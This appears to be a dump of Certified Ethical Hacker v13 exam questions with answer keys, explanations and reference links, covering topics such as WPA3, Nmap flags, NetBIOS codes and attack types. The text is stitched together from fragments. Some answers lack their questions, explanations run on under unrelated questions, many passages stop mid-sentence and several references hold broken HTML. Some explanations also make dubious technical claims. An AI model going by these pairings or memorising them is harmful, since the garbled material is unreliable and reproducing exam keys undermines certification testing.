Eccouncil

(312-50v13)

Certified Ethical Hacker v13

Total: **1049 Questions**

Link:

MYEXAM.FR

invalidating its purpose of minimizing noise.

Given this analysis, the choice of C optimally balances effectiveness and stealth, making it the superior option for evading IDS during a reconnaissance phase.

References:

https://nmap.org/book/nmap-options.html
https://nmap.org/book/man/primers/ipv4.html
https://www.sans.org/white-papers/38475/

Question: 5

This wireless security protocol allows 192-bit minimum-strength security protocols and cryptographic tools to protect sensitive data, such as GCMP-256, HMAC-SHA384, and ECDSA using a 384-bit elliptic curve.
Which is this wireless security protocol?

A. WPA3-Personal
B. WPA3-Enterprise
C. WPA2-Enterprise
D. WPA2-Personal

Answer: B

Explanation:

B is correct because WPA3-Enterprise incorporates advanced cryptographic protocols, including GCMP-256 and HMAC-SHA384, designed for robust secure communications.

WPA3-Enterprise provides enhanced security features that utilize 192-bit minimum-strength cryptography and offers modern tools including ECDSA with a 384-bit elliptic curve for key exchange and authentication. These enhancements are critical for enterprise environments where sensitive data transmission is commonplace. WPA3-Enterprise also employs a mechanism known as Improved Forward Secrecy, which resists replay attacks and protects past session data.

In contrast, WPA3-Personal primarily offers security for home networks and does not necessarily implement the full suite of enterprise-grade cryptographic tools and features, making it less suitable for organizations handling sensitive data.

WPA2-Enterprise, while providing secure authentication, lacks the enhanced cryptographic capabilities found in WPA3-Enterprise and cannot match the security posture required by modern standards. WPA2-Personal, similarly, is optimized for basic security suitable for home use and does not provide the level of protection necessary for enterprise applications.

In summary:

A. WPA3-Personal: Lacks enterprise-grade cryptographic tools.
C. WPA2-Enterprise: Falls short on newer cryptographic standards and forward secrecy features.
D. WPA2-Personal: Offers basic security not suitable for environments needing robust protection.

References:

https://www.wi-fi.org/discover-wi-fi/security
https://www.networkworld.com/article/3530256/why-wpa3-wireless-security-matters.html

D. netcat

Answer: D

Explanation:

D is correct because netcat is primarily a networking utility, not designed for password cracking.

Evaluation of Options:

Option A: Hashcat

Utility: A powerful GPU-accelerated password recovery tool capable of attacking various hash types efficiently, using techniques such as brute-force and dictionary attacks.
Conclusion: Essential for cracking hashed passwords; hence it is a suitable choice.

Option B: John the Ripper

Utility: A renowned open-source password cracking software that supports numerous hash algorithms and is effective in performing both wordlist attacks and brute-force attacks.
Conclusion: A fundamental forensic tool for password recovery, making it useful for this scenario.

Option C: THC-Hydra

Utility: A popular brute-force tool used for network authentication services, allowing attackers to automate the process of password guessing across numerous protocols.
Conclusion: While primarily employed for online password cracking, it can indirectly assist in recovering or verifying passwords once they are presented.

Option D: Netcat

Utility: A versatile networking tool primarily used for network diagnostics, data transfer, or creating reverse shells. It lacks intrinsic capability to analyze or crack hashed passwords.
Conclusion: As it does not perform hashing or password recovery tasks, it is inappropriate for cracking hashes and is the correct answer.
References:

https://hashcat.net
https://www.openwall.com/john/
https://www.thc.org/thc-hydra/

Question: 9

Which of the following Google advanced search operators helps an attacker in gathering information about websites that are similar to a specified target URL?

A. [inurl:]
B. [info:]
C. [site:]
D. [related:]

Answer: D

The TCP connect scan establishes a full TCP connection by completing the three-way handshake. While it can reveal open ports, it does not differentiate between the nature of the firewall protocols, as it exposes the scanning host and may even alert the firewall to the scan.

Option D: -sF (FIN scan)

The FIN scan sends packets with only the FIN flag set, which can elicit responses from open and closed ports; however, like the XMAS scan, it does not provide explicit insights into whether the firewall is stateful or stateless.

In summary, -sA is the most effective method as it directly elicits responses pertinent to the connection state management of the firewall, which the other options fail to do efficiently.

Authoritative References:

Nmap Network Scanning
Nmap Documentation
Understanding Firewalls

Question: 12

A newly joined employee, Janet, has been allocated an existing system used by a previous employee. Before issuing the system to Janet, it was assessed by Martin, the administrator. Martin found that there were possibilities of compromise through user directories, registries, and other system parameters. He also identified vulnerabilities such as native configuration tables, incorrect registry or file permissions, and software configuration errors. What is the type of vulnerability assessment performed by Martin?

A. Database assessment
B. Host-based assessment
C. Credentialed assessment
D. Distributed assessment

Answer: B

Explanation:

Correct Answer: B. Host-based assessment.

The vulnerability assessment performed by Martin is classified as a host-based assessment because it concentrates on evaluating a specific system's vulnerabilities, such as user directories, registries, and file configurations on the host itself. This assessment encompasses the identification of risks inherent to the system's local configurations, file permissions, and installed software, which is distinctive of a host-based approach focusing on a single machine's security posture.

Reasoning:

In a host-based assessment, vulnerabilities are identified at the level of individual machines rather than across an entire network or application. Martin's evaluation of user directories and registry settings directly aligns with this focus, aiming to secure the end-point system prior to handover to a new employee. The intent is to mitigate risks associated with residual data and configuration errors left by the previous user, thereby enhancing the security integrity of the system before deployment.

Critical Evaluation of Other Options:

A. Database assessment

This option focuses specifically on identifying vulnerabilities within databases, such as SQL injection faults or misconfigured access controls. Since Martin's assessment revolved around the operating system and

Question: 16

Becky has been hired by a client from Dubai to perform a penetration test against one of their remote offices. Working from her location in Columbus, Ohio, Becky runs her usual reconnaissance scans to obtain basic information about their network. When analyzing the results of her Whois search, Becky notices that the IP was allocated to a location in Le Havre, France.
Which regional Internet registry should Becky go to for detailed information?

A. ARIN
B. LACNIC
C. APNIC
D. RIPE

Answer: D

Explanation:

D is correct because Le Havre, France, falls under the jurisdiction of the RIPE NCC, the regional Internet registry for Europe, the Middle East, and parts of Central Asia.

The classification of Internet resources is governed by regional Internet registries (RIRs). RIPE NCC, as the RIR for Europe, manages IP address allocations for that geographic area, meaning that any IP address allocated to a location in France would be registered with RIPE. This makes RIPE the appropriate source for detailed information concerning the allocated IP in question.

Evaluation of Other Options:

A. **ARIN (American Registry for Internet Numbers)**: This registry primarily serves North America, and therefore would not have jurisdiction over IP allocations in France. Consequently, attempting to look up IP details via ARIN would yield irrelevant results for a European-based allocation.

B. **LACNIC (Latin America and Caribbean Network Information Centre)**: Like ARIN, LACNIC is focused on the Latin American and Caribbean regions. Since Le Havre is in France, information related to that IP allocation would not be available through LACNIC.

C. **APNIC (Asia-Pacific Network Information Centre)**: APNIC governs IP addresses for the Asia-Pacific region. Similar to LACNIC and ARIN, APNIC would not provide relevant information for an IP address located in France.

In conclusion, RIPE is the only applicable and authoritative source for investigating the IP address that Becky queried, given its regional focus.

References:

https://www.ripe.net
https://www.arin.net
https://www.apnic.net

Question: 17

Harry, a professional hacker, targets the IT infrastructure of an organization. After preparing for the attack, he attempts to enter the target network using techniques such as sending spear-phishing emails and exploiting vulnerabilities on publicly available servers. Using these techniques, he successfully deployed malware on the target system to establish an outbound connection.
What is the APT lifecycle phase that Harry is currently executing?

attack surface for SQL injection exploits, as only sanitized and expected values are processed by the database, thus eliminating the risk posed by unexpected and potentially malicious inputs. In scenarios where SQL injection is a threat, adopting a whitelist model ensures that only legitimate requests are handled, effectively fortifying the integrity of the application.

Critical Evaluation of Other Options:

B. Output encoding: While output encoding is crucial for preventing reflected XSS attacks, it does not directly mitigate SQL injection vulnerabilities. It focuses on how data is rendered in the output layer rather than controlling what enters the database.

C. Blacklist validation: Blacklist strategies attempt to filter out known malicious patterns, but they are inherently flawed as attackers may evade detection by using novel encoding or payloads not covered by the blacklist. This approach may provide a false sense of security.

D. Enforce least privileges: Although this principle is vital for restricting user permissions, it does not address input validation directly. Least privilege concerns access control rather than the validation of input data that could lead to SQL injection attacks.

References:

1. https://owasp.org/www-community/OWASP_Secure_Coding_Practices
2. https://www.acunetix.com/blog/articles/sql-injection-defense/
3. https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

Question: 21

Joe works as an IT administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider.
In the NIST cloud deployment reference architecture, under which category does the telecom company fall in the above scenario?

A. Cloud consumer
B. Cloud broker
C. Cloud auditor
D. Cloud carrier

Answer: D

Explanation:

D is correct because the telecom company is responsible for providing connectivity and transport services between the organization and the cloud service provider, which aligns with the role of a cloud carrier in the NIST cloud deployment architecture.

In the context of NIST's definitions, the cloud carrier is an essential facilitator that provides the necessary telecommunications infrastructure to enable the cloud services to function effectively. The telecom company's provision of Internet connectivity directly supports the operational delivery of cloud services, making it an indispensable part of the cloud infrastructure.

Evaluation of Other Options:

A. Cloud Consumer: This term describes the end-users or organizations that utilize cloud services. In this

which lack the necessary functionality pertinent to directory service exploitation.

References:

https://www.jxplorer.org
https://www.hackerf0x.com/ldap-enumeration/
https://www.tenable.com/blog/ldap-enumeration-a-hacker-s-delight

Question: 24

Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that can process API requests and handle various Docker objects, such as containers, volumes, images, and networks. What is the component of the Docker architecture used by Annie in the above scenario?

A. Docker objects
B. Docker daemon
C. Docker client
D. Docker registries

Answer: B

Explanation:

B is correct because the Docker daemon is responsible for managing Docker objects, processing API requests, and facilitating communication between the client and server components in a Docker architecture.

The Docker daemon operates in a server role, handling tasks such as building, running, and managing containers, which aligns with Annie's requirements for processing API requests and managing various Docker elements. It serves as a centralized control unit, receiving commands from the Docker client and interacting with the underlying system components.

Critique of Other Options:

A. **Docker Objects**: This is an umbrella term for various entities within Docker such as containers, images, and networks, rather than a specific component. Therefore, it does not fulfill the role of processing requests or managing the system as a whole.

C. **Docker Client**: This acts as the interface through which users interact with Docker by sending commands to the Docker daemon. However, it does not directly manage or process API requests itself; instead, it relies on the daemon to execute these commands.

D. **Docker Registries**: These store and distribute Docker images. While important in the Docker ecosystem, they do not play a role in processing API requests or managing Docker objects directly, which is the core function highlighted in Annie's scenario.

References:

https://docs.docker.com/engine/reference/commandline/dockerd/
https://docs.docker.com/engine/reference/commandline/cli/
https://docs.docker.com/engine/reference/architecture/

RESTful APIs are designed around the principles of Representational State Transfer (REST), which emphasizes stateless communication and resource-oriented architecture. This approach enhances scalability and performance by allowing multiple clients to interact with a centralized server efficiently. The ability to leverage various HTTP methods for different operations results in a clear, consistent interface for data interactions, which effectively simplifies development and maintenance. Moreover, REST APIs often return data in lightweight formats such as JSON or XML, enhancing portability and ease of integration across diverse platforms.

Critical Evaluation of Other Options:

B. JSON-RPC is a protocol that uses JSON to encode its calls and responses. Unlike REST, it doesn't inherently leverage HTTP methods; rather, it relies on a single POST method for all requests, which limits the expressiveness and clarity in resource manipulation.

C. SOAP API employs a protocol that relies on XML and is tightly coupled with extensive standards such as WS-Security and WS-ReliableMessaging. This creates a more complex environment that is generally heavier and less efficient than REST, especially for web services that require agility and speed.

D. REST API is a valid term; however, "RESTful API" is more accurate in this context as it specifically denotes adherence to REST principles, ensuring clarity in the focus on stateless operations and resource management.

References:

https://restfulapi.net/
https://www.owasp.org/index.php/REST_Security_Cheat_Sheet
https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm

Question: 28

To create a botnet, the attacker can use several techniques to scan vulnerable machines. The attacker first collects information about a large number of vulnerable machines to create a list. Subsequently, they infect the machines. The list is divided by assigning half of the list to the newly compromised machines. The scanning process runs simultaneously. This technique ensures the spreading and installation of malicious code in little time. Which technique is discussed here?

A. Subnet scanning technique
B. Permutation scanning technique
C. Hit-list scanning technique.
D. Topological scanning technique

Answer: C

Explanation:

C is correct as the technique described is a "Hit-list scanning technique," where compromised machines are used to scan and infect additional targets rapidly.

The Hit-list scanning technique involves a centralized strategy where a comprehensive list of vulnerable machines is created beforehand. After an initial compromise, the attacker divides this list among the newly infected machines, allowing them to simultaneously scan and infect additional targets. This approach exponentially increases the rate of infection by leveraging the network capacity of the compromised machines, thereby minimizing the time required to establish a botnet. The coordinated effort ensures that multiple machines engage in the attack concurrently, amplifying the overall effectiveness.

Question: 32

Joel, a professional hacker, targeted a company and identified the types of websites frequently visited by its employees. Using this information, he searched for possible loopholes in these websites and injected a malicious script that can redirect users from the web page and download malware onto a victim's machine. Joel waits for the victim to access the infected web application so as to compromise the victim's machine.
Which of the following techniques is used by Joel in the above scenario?

A. Watering hole attack
B. DNS rebinding attack
C. MarioNet attack
D. Clickjacking attack

Answer: A

Explanation:

A. Watering hole attack is the correct answer as it describes Joel's method of compromising a targeted group's users by infecting frequently visited websites.

This technique entails monitoring a specific group to identify common online behaviors, then exploiting those platforms to deliver malicious payloads to unsuspecting users. Joel's actions demonstrate a calculated approach, targeting the company by injecting malicious scripts into websites its employees are known to visit. Once an employee accesses the compromised site, the script executes, leading to malware being downloaded onto their machine, thereby fulfilling the malicious objective of the attacker.

Evaluation of Incorrect Options:

B. DNS rebinding attack: This technique involves manipulating DNS responses to gain access to internal resources, typically through a local network. Joel's strategy does not entail altering DNS behavior but focuses on website exploitation to deliver malware.

C. MarioNet attack: This method relates to controlling a network of compromised machines post-infection through a framework. In contrast, Joel's actions revolve around exploiting specific websites rather than establishing a command structure over machines.

D. Clickjacking attack: This is a user-interface manipulation that tricks users into clicking on hidden links or buttons. While it involves deception, it does not describe Joel's method of directly compromising website content to deliver a payload to the victim's machine.

References:

1. https://owasp.org/www-community/attacks/Watering_Hole_Attack
2. https://www.imperva.com/learn/application-security/watering-hole-attack/
3. https://www.csoonline.com/article/3258232/what-is-a-watering-hole-attack-and-how-it-works.html

Question: 33

Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon reviewing, he finds that user data have been exfiltrated by an attacker. AV tools are unable to find any malicious software, and the IDS/IPS has not reported on any non-whitelisted programs.
What type of malware did the attacker use to bypass the company's application whitelisting?

A. File-less malware

Forbidden attacks are not formally recognized in the domain of web session security and misattribute the context.

B. CRIME attack: The CRIME (Compression Ratio Info-leak Made Easy) attack exploits HTTP compression to reveal secrets in secure sessions but does not pertain to session IDs directly. It primarily targets the confidentiality and integrity of session data rather than session fixation.

C. Session donation attack: This attack occurs when a user unknowingly donates their session to an attacker, but it typically involves the user clicking a link that the attacker controls. In contrast, the scenario describes an attacker explicitly providing a session ID to the target, which fits the session fixation model more accurately.

The underlying mechanics of session fixation pretext that an attacker can hijack a user's session without exploiting vulnerabilities in the application itself, highlighting the need for robust session management practices.

References:

https://owasp.org/www-community/attacks/Session_Fixation
https://www.owasp.org/index.php/CRIME
https://www.owasp.org/index.php/Session_Management_Cheat_Sheet

Question: 37

Kevin, a professional hacker, wants to penetrate CyberTech Inc's network. He employed a technique, using which he encoded packets with Unicode characters. The company's IDS cannot recognize the packets, but the target web server can decode them.
What is the technique used by Kevin to evade the IDS system?

A. Session splicing
B. Urgency flag
C. Obfuscating
D. Desynchronization

Answer: C

Explanation:

The correct answer is C: Obfuscating.

Obfuscating is a technique that involves encoding or altering data to make it difficult for intrusion detection systems (IDS) to detect malicious activity while still being interpretable by the target application. In this scenario, Kevin utilizes Unicode encoding to mask the content of the packets, thus evading detection by CyberTech Inc's IDS. This clever manipulation not only facilitates packet transmission without raising alarms but also ensures that the intended target web server can decode and process the packets correctly.

Evaluation of Other Options:

A. **Session Splicing**: This technique involves breaking up a single session into multiple segments to elude detection. While it can bypass some security measures, it does not inherently encode the packets and thus lacks the stealth advantage provided by Unicode obfuscation.

B. **Urgency Flag**: This method pertains to manipulating TCP flags to signify packet urgency, which can create confusion in traffic analysis. However, it does not involve any encoding techniques and does not specifically

protocols such as SSL/TLS.

Reasoning: FTPS (File Transfer Protocol Secure) extends the standard FTP by employing secure encryption through SSL/TLS, thereby safeguarding sensitive information like usernames and passwords. This protocol is specifically designed to protect files during transfer, making it appropriate for situations requiring confidentiality and data integrity, as evidenced by Bella's need to secure sensitive data against session hijacking. In using digital certificates, FTPS guarantees the authenticity of the server and the confidentiality of the data transmitted.

Evaluation of Alternatives:

B. FTP: The standard File Transfer Protocol (FTP) transmits data in plaintext, making it vulnerable to interception and session hijacking. It lacks built-in encryption mechanisms, which renders it unsuitable for transferring sensitive information.

C. HTTPS: While HTTPS provides encryption similar to what FTPS offers, it is primarily designed for web traffic rather than dedicated file transfer scenarios. In the context of Bella's focus on file transfer, FTPS would be more relevant when explicit file transmission is required.

D. IP: This option refers to the Internet Protocol, which is foundational for network communications but does not inherently provide any security measures. It does not offer encryption or authentication capabilities critical to secure file transfers.

FTPS emerges as the superior choice due to its specific encryption features tailored for file transfers and protection against data breaches.

References:

1. https://www.owasp.org/index.php/FTPS
2. https://www.jamf.com/blog/introduction-to-ftps-and-how-to-use-ftps-in-jamf-pro/
3. https://www.cloudflare.com/learning/how-tls-works/what-is-ftps/

Question: 41

John wants to send Marie an email that includes sensitive information, and he does not trust the network that he is connected to. Marie gives him the idea of using PGP. What should John do to communicate correctly using this type of encryption?

A. Use his own private key to encrypt the message.
B. Use his own public key to encrypt the message.
C. Use Marie's private key to encrypt the message.
D. Use Marie's public key to encrypt the message.

Answer: D

Explanation:

D is correct because using Marie's public key ensures that only she can decrypt the message with her corresponding private key.

When John encrypts a message with Marie's public key, he guarantees that only Marie, who possesses the corresponding private key, can decrypt and access the sensitive information. This process maintains confidentiality even in an untrusted network environment.

https://www.networkworld.com/article/3331139/whats-new-in-snmph-what-you-need-to-know.html
https://www.sans.org/white-papers/33735/

Question: 44

Consider the following Nmap output:

```
Starting Nmap X.XX (http://nmap.org) at XXX-XX-XX XX:XX EDT
Nmap scan report for 192.168.1.42 Host is up (0.00023s latency).
Not shown: 932 filtered ports, 56 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
110/tcp open pop3
143/tcp open imap
443/tcp open https
465/tcp open smtps
587/tcp open submission
993/tcp open imaps
995/tcp open pop3s
Nmap done: 1 IP address (1 host up) scanned in 3.90 seconds
```

What command-line parameter could you use to determine the type and version number of the web server?

A. -sV
B. -sS
C. -Pn
D. -V

Answer: A

Explanation:

Version detection is enabled and controlled with the following options: -sV (Version detection) --> Alternatively, you can use -A, which enables version detection among other things (including all relevant NSE scripts). https://nmap.org/book/man-version-detection.html

Question: 45

Bob was recently hired by a medical company after it experienced a major cyber security breach. Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search. Bob's boss is very worried because of regulations that protect those data.

that require some level of isolation from the general public but still wish to share resources with similar entities.

Evaluation of Incorrect Options:

A. **Private Cloud** - This model is dedicated to a single organization. It offers complete control and higher security but lacks the cost-sharing benefits inherent in community models, making it less efficient for organizations that can collaborate.

C. **Public Cloud** - In a public cloud, services are offered over the internet and shared among multiple users. This model does not provide the requisite shared governance or specific use-case relevance that the community model does, as it serves a broader audience without tailoring to specific mutual interests.

D. **Hybrid Cloud** - This integrates public and private cloud models, allowing data and applications to be shared between them. While it enhances flexibility, it does not focus on the collaborative aspect shared by community cloud models, which are specifically designed for joint organizations in the same field or sector.

https://www.ibm.com/cloud/learn/public-private-hybrid-cloud
https://aws.amazon.com/what-is-cloud-computing/
https://azure.microsoft.com/en-us/overview/what-is-cloud-computing/

Question: 49

Allen, a professional pen tester, was hired by XpertTech Solutions to perform an attack simulation on the organization's network resources. To perform the attack, he took advantage of the NetBIOS API and targeted the NetBIOS service. By enumerating NetBIOS, he found that port 139 was open and could see the resources that could be accessed or viewed on a remote system. He came across many NetBIOS codes during enumeration. Identify the NetBIOS code used for obtaining the messenger service running for the logged-in user?

A. <00>
B. <20>
C. <03>
D. <1B>

Answer: C

Explanation:

C is correct because the NetBIOS code <03> specifically identifies the Messenger service which is responsible for sending messages to the logged-in users on a machine.

The NetBIOS codes are structured to represent different services and resources within a network. The <03> code denotes the Messenger service, allowing enumeration of user sessions and the ability to send messages to those users. This is critical for penetration testers like Allen as it provides insights into user activity and system interactions within the network, potentially revealing vulnerabilities.

Option A (<00>) represents the "Workstation Service" and is used for browsing and identifying devices on the network. It does not relate to user messaging.

Option B (<20>) pertains to the "File Sharing Service" for the file system on a server. Although important for file access, it does not provide information regarding user messaging functionalities.

Option D (<1B>) indicates the "Domain Master Browser," which facilitates the browsing process within a domain. This code, while essential for network navigation, does not correlate with user message retrieval.

A. The -g flag
B. The -A flag
C. The -f flag
D. The -D flag

Answer: D

Explanation:

D is the correct answer because the -D flag in Nmap is used for decoy scanning, allowing the user to spoof multiple source IP addresses.

The requirement to scan every port while utilizing spoofed source IPs aligns perfectly with the function of the -D flag. This approach increases anonymity and mitigates the chances of detection, as Nmap will appear to originate from multiple hosts, complicating the attribution of the scanning activity to any single source. By effectively utilizing decoy hosts, penetration testers can gather information with minimal risk of alerting the target to their presence.

Evaluating the other options:

A. The -g flag is used to set the source port for the scan, which does not fulfill the requirement for source IP address spoofing.
B. The -A flag enables OS detection and version detection, scripting, and traceroute, but it does not pertain to the manipulation of source IP addresses nor helps in scanning every port.
C. The -f flag is intended for fragmenting packets, which provides evasion tactics against some intrusion detection systems but doesn't achieve the goal of spoofing source IPs.

Each of these flags serves distinct purposes that do not correspond to the client's explicit order to use spoofed IPs for scanning.

References:

https://nmap.org/book/man.html
https://medium.com/@davidake/understanding-nmap-s-decoy-options-ec7cdbe1af98
https://www.cybrary.it/course/nmap/

Question: 54

Jude, a pen tester, examined a network from a hacker's perspective to identify exploits and vulnerabilities accessible to the outside world by using devices such as firewalls, routers, and servers. In this process, he also estimated the threat of network security attacks and determined the level of security of the corporate network. What is the type of vulnerability assessment that Jude performed on the organization?

A. Application assessment
B. External assessment
C. Passive assessment
D. Host-based assessment

Answer: B

DHCP starvation method employed by Abel, which specifically focuses on exhausting the IP pool rather than impersonating a legitimate server.

B. **VLAN hopping**: This refers to a technique where an attacker sends packets from one VLAN to another by exploiting misconfigurations in the network. While a serious threat, it does not apply to the scenario, as no VLAN-based attacks are involved in the DHCP server compromise described.

C. **STP attack**: Spanning Tree Protocol (STP) attacks typically seek to disrupt the loop prevention mechanism in switched networks, allowing attackers to intercept traffic. Again, this is not relevant to the DHCP starvation method, which specifically targets IP address allocation rather than traffic management protocols.

In conclusion, the scenario illustrates a specialized attack aimed at disrupting DHCP services, reinforcing the correct identification of the attack as DHCP starvation.

References:

https://www.cisco.com/c/en/us/support/docs/ip/dynamic-host-configuration-protocol-dhcp/45693-dhcp-starvation.html
https://www.helpnetsecurity.com/2021/06/17/dhcp-starvation-attack/
https://www.networkworld.com/article/2693381/what-is-dhcp-starvation-and-how-to-prevent-it.html

Question: 57

This form of encryption algorithm is a symmetric key block cipher that is characterized by a 128-bit block size, and its key size can be up to 256 bits. Which among the following is this encryption algorithm?

A. HMAC encryption algorithm
B. Twofish encryption algorithm
C. IDEA
D. Blowfish encryption algorithm

Answer: B

Explanation:

B is correct because the Twofish encryption algorithm is a symmetric key block cipher with a 128-bit block size and supports key sizes up to 256 bits.

Twofish is widely recognized for its security and efficiency; it was a finalist in the AES competition and is known for utilizing a Feistel network with a complex key schedule, providing robust resistance against various cryptographic attacks. Its design enables it to maintain a balance between high performance and security, making it suitable for both hardware and software implementations.

Evaluation of Other Options:

A. HMAC encryption algorithm:
HMAC (Hash-based Message Authentication Code) is not an encryption algorithm but rather a mechanism for providing integrity and authenticity using hash functions combined with a secret key. It does not involve block size or key size specifications as seen in symmetric encryption.

C. IDEA:
The International Data Encryption Algorithm (IDEA) uses a block size of 64 bits and supports key sizes of 128 bits. Although it is a symmetric key cipher, it does not meet the specified block size of 128 bits, making it an incorrect choice.

Question: 60

While testing a web application in development, you notice that the web server does not properly ignore the “dot dot slash” (../) character string and instead returns the file listing of a folder higher up in the folder structure of the server.
What kind of attack is possible in this scenario?

A. Cross-site scripting
B. SQL injection
C. Denial of service
D. Directory traversal

Answer: D

Explanation:

D is correct because it directly indicates the exploitation of a vulnerability in the path traversal mechanism of the web server.

Directory traversal attacks occur when user input is improperly sanitized, allowing attackers to manipulate file paths and access files outside the intended directory structure. In this scenario, the presence of dot dot slash (../) sequences indicates that the web application is vulnerable, permitting access to restricted directories and potentially sensitive files that should not be publicly accessible. This exploitation can lead to unauthorized data exposure, modification, or even system compromise.

Evaluation of Incorrect Options:

A. Cross-site scripting (XSS): XSS involves injecting malicious scripts into web pages viewed by other users. This attack type targets client-side execution rather than the server file structure, making it irrelevant in the context of directory traversal.

B. SQL injection (SQLi): SQLi involves manipulating database queries through unsanitized input, primarily targeting backend databases. While also a serious risk, it does not involve filesystem access or directory structure manipulation, thus making it unrelated to the scenario presented.

C. Denial of service (DoS): A DoS attack aims to make a service unavailable to users, often through overwhelming traffic or resource consumption. The ability to traverse directories doesn't inherently lead to service disruption but rather to unauthorized file access, making this option inappropriate.

In summary, the described vulnerability aligns specifically with directory traversal due to improper input handling related to file paths, while the other listed attack vectors target different application layers and mechanisms.

Reference:
https://owasp.org/www-community/attacks/Path_Traversal" target="_blank">https://owasp.org/www-community/attacks/Path_Traversal
https://www.acunetix.com/blog/articles/what-is-directory-traversal/"
target="_blank">https://www.acunetix.com/blog/articles/what-is-directory-traversal/
https://sectigostore.com/blog/understanding-directory-traversal-vulnerability/

" target="_blank">https://sectigostore.com/blog/understanding-directory-traversal-vulnerability/

Answer: B

Explanation:

B is correct because webhooks facilitate real-time data transmission between applications based on specific events.

Webhooks are user-defined HTTP callbacks that are invoked by particular events within a web application, allowing one application to send real-time data to another. In Susan's scenario, her application uses webhooks to ensure that other applications receive updates immediately when relevant triggers occur, which aligns with the need for real-time information dissemination.

Critical Evaluation of Incorrect Options:

A. **Web shells:** Web shells represent a method for executing commands on a web server, often utilized in malicious contexts for remote administration. They do not provide mechanisms for real-time updates between applications, rendering them unsuitable for the context of APIs updating other applications.

C. **REST API:** While REST APIs are widely used for building web services and allow for communication between client and server, they primarily operate through request-response interactions rather than initiating data transmission based on events. Thus, they do not embody the "push" nature that webhooks do.

D. **SOAP API:** SOAP APIs employ a protocol based on XML for communication and are typically used in a request-response model similar to REST. They are not event-driven like webhooks and thus do not support the real-time push functionality illustrated in Susan's requirements.

References:

https://www.smashingmagazine.com/2021/06/webhooks-101/
https://blog.nerdpenguin.com/webhooks-what-are-they-why-to-use-them
https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Asynchronous/Promises

Question: 65

Which IOS jailbreaking technique patches the kernel during the device boot so that it becomes jailbroken after each successive reboot?

A. Tethered jailbreaking
B. Semi-untethered jailbreaking
C. Semi-tethered jailbreaking
D. Untethered jailbreaking

Answer: D

Explanation:

D is correct because untethered jailbreaking allows the device to remain jailbroken after each reboot by permanently modifying the kernel.

Justification for D (Untethered Jailbreaking)

Untethered jailbreaking is characterized by its ability to modify the device's kernel during the initial boot process, enabling persistent jailbreak functionality across reboots. This method ensures that the device

sh=3cd5a4b64197

Question: 69

Clark is a professional hacker. He created and configured multiple domains pointing to the same host to switch quickly between the domains and avoid detection. Identify the behavior of the adversary in the above scenario.

A. Unspecified proxy activities
B. Use of command-line interface
C. Data staging
D. Use of DNS tunneling

Answer: A

Explanation:

A is correct because the described behavior indicates the use of unspecified proxy activities to obscure the hacker's identity and maintain anonymity.

In the scenario, Clark's strategy of creating multiple domains points to a behavior typical of adversaries aiming to obfuscate their true source and avoid detection by security systems. This practice is characterized by the employment of proxies, where the original source of traffic is masked through various domains that route through a singular host. The ability to switch domains seamlessly enhances the sophistication of evasion tactics utilized in cyber attacks.

Evaluation of Incorrect Options:

B. Use of command-line interface: This option is not relevant as it focuses on a technique for system interaction rather than a method of evasion or anonymity. Command-line usage does not inherently involve domain manipulation for obfuscation.

C. Data staging: While data staging refers to the process of preparing and organizing data for exfiltration or further exploitation, this does not align with the domain-switching behavior. Clark's focus is on maintaining access and anonymity rather than merely preparing data for later use.

D. Use of DNS tunneling: This technique allows data to be exfiltrated through DNS queries, but the scenario does not explicitly suggest that Clark is using DNS records for covert data transfer. Instead, it revolves around creating domains for evasion, which is a broader activity than just tunneling.

In conclusion, option A captures the essence of the adversarial behavior due to its focus on maintaining anonymity through obfuscation, differentiating it from other listed activities not directly aimed at covering tracks.

https://csrc.nist.gov/publications/detail/sp/800-94/final
https://www.cisecurity.org/white-papers/understanding-proxies-and-their-role-in-network-security/
https://www.owasp.org/index.php/Proxy

Question: 70

What firewall evasion scanning technique make use of a zombie system that has low network activity as well as its fragment identification numbers?

or related processes. This method converts the malware into a fileless format, which is more resistant to traditional detection measures that scan for files on disk.

Option B, Legitimate applications, is incorrect as it implies the use of trusted applications to execute harmful code, but in this scenario, the exploitation actively occurs through a web browser and its plugins. Options C, Script-based injection, does not apply here because Jack's method specifically involves exploiting a software vulnerability rather than injecting scripts into existing processes or other scripts. Lastly, while D. Phishing is a component of the attack, it gauges the social engineering aspect rather than the technical execution, failing to capture the essence of the in-memory exploit utilized to launch the fileless malware.

References:

https://www.csoonline.com/article/3537014/what-is-a-fileless-malware-attack.html
https://www.fireeye.com/blog/threat-research/2021/07/what-is-fileless-malware.html
https://www.imperva.com/learn/application-security/fileless-malware/

Question: 73

Wilson, a professional hacker, targets an organization for financial benefit and plans to compromise its systems by sending malicious emails. For this purpose, he uses a tool to track the emails of the target and extracts information such as sender identities, mail servers, sender IP addresses, and sender locations from different public sources. He also checks if an email address was leaked using the haveibeenpwned.com API. Which of the following tools is used by Wilson in the above scenario?

A. Factiva
B. ZoomInfo
C. Netcraft
D. Infoga

Answer: D

Explanation:

D is correct because Infoga is a tool specifically designed to gather intelligence about email addresses, including tracking email headers and checking for leaks.

Infoga excels in various functionalities that match Wilson's activities. It allows users to extract information from public sources, providing details like sender identities, IP addresses, and server information. Additionally, its capability to interface with haveibeenpwned.com, a widely recognized service for checking compromised credentials, aligns precisely with Wilson's intent to gather intelligence before executing a financial attack.

Evaluation of Incorrect Options:

A. Factiva: While Factiva is a robust tool for gathering news and business information, its primary function is not focused on email data extraction or cyber intelligence. It lacks the necessary capabilities for tracking email sender details or checking breach data effectively, making it unsuitable for Wilson's objective.

B. ZoomInfo: This platform specializes in providing professional contact information and business intelligence but does not serve for email forensic analysis or exposure checks on breached data. Its primary focus is on market intelligence rather than the specific information gathering required in this cyber attack scenario.

C. Netcraft: Netcraft is renowned for its internet infrastructure data and phishing detection, providing useful insights into website security. However, it does not specialize in direct email address tracking or breach checks, thus falling short of fulfilling Wilson's specific objectives involving email intelligence.

" target="_blank">https://www.securityweekly.com/2020/04/30/cloud-hopper-a-3rd-party-cyber-attack/

Question: 76

